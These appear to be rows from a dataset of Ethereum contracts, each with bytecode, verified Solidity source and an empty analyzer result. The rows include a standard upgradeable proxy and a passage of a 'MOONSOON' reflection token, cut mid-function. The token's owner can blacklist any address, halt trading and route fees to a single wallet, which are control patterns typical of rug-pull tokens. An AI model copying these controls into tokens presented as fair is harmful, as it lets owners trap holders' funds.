ffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561150157600080fd5b600960009054906101000a900460ff1615151561151d57600080fd5b6001600960006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116275780601f106115fc57610100808354040283529160200191611627565b820191906000526020600020905b81548152906001019060200180831161160a57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561166c57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116b957600080fd5b61170a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60075481565b60006118e582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b6f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611c3d57fe5b818303905092915050565b60008183019050828110151515611c5b57fe5b809050929150505600a165627a7a72305820f04ae0f7efb30ca1955df9f1ac42ace90b54d4493826e4474ed09f5ad600f9690029 | {"success": true, "error": null, "results": {}} | 379 |
0x71535ad4c7c5925382cdeadc806371cc89a5085d | /**
*Submitted for verification at Etherscan.io on 2021-01-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220745819cd27b4b1bacd2548f51f89b29613cd7bd1b57edf43278dd7e150fe05be64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 380 |
0xb97922ebe8d76582b530f8148f9de3067dac0722 | // SPDX-License-Identifier: GPL-3.0-or-later
/**
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MSOON is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MOONSOON";//
string private constant _symbol = "MOONSOON";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 3;//
uint256 private _taxFeeOnBuy = 3;//
//Sell Fee
uint256 private _redisFeeOnSell = 4;//
uint256 private _taxFeeOnSell = 4;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xeDB1e35aCdA4970A71E63e8EF99Db9820Bd4E284);//
address payable private _marketingAddress = payable(0xeDB1e35aCdA4970A71E63e8EF99Db9820Bd4E284);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000000 * 10**9; //
uint256 public _maxWalletSize = 30000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 15000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = 3;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
